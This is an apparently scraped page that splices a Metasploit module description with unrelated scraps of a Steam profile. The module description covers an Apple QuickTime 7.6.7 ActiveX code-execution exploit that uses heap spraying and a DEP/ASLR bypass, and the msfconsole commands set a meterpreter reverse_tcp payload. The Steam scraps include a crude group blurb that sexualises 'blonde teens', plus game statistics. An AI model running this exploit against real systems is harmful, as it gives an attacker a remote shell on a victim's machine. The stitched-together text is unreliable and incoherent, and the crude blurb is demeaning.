Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution

This module exploits a memory trust issue in Apple QuickTime 7.6.7. When processing a specially-crafted HTML page, the QuickTime ActiveX control will treat a supplied parameter as a trusted pointer. It will then use it as a COM-type pUnknown and lead to arbitrary code execution. This exploit utilizes a combination of heap spraying and the QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions. NOTE: The addresses may need to be adjusted for older versions of QuickTime.

msf > use exploit/windows/browser/apple_quicktime_marshaled_punk
msf exploit(apple_quicktime_marshaled_punk) > show payloads
msf exploit(apple_quicktime_marshaled_punk) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_marshaled_punk) > set LHOST XXXXX
msf exploit(apple_quicktime_marshaled_punk) > exploit

why hello there

Blonde addiction - Public

15 Members  |  2 In-Game  |  6 Online  |  0 In Group Chat

Do you always fall in love with blonde teens and also cant get enough of them?
Do you think blonde bitches are superior than other girls and ignore everything than blonde?
Did u leave your girlfriend for a blonde?
U failed? We did!

Visit Blonde addiction's profile

Dota-Two - Public

23,846 Members  |  1540 In-Game  |  6,630 Online  |  0 In Group Chat

dotatwo - Public

12,081 Members  |  978 In-Game  |  4,219 Online  |  0 In Group Chat

Counter-Strike: Source

4.8 hrs / 28.4 hrs

Left 4 Dead

3.5 hrs / 564.6 hrs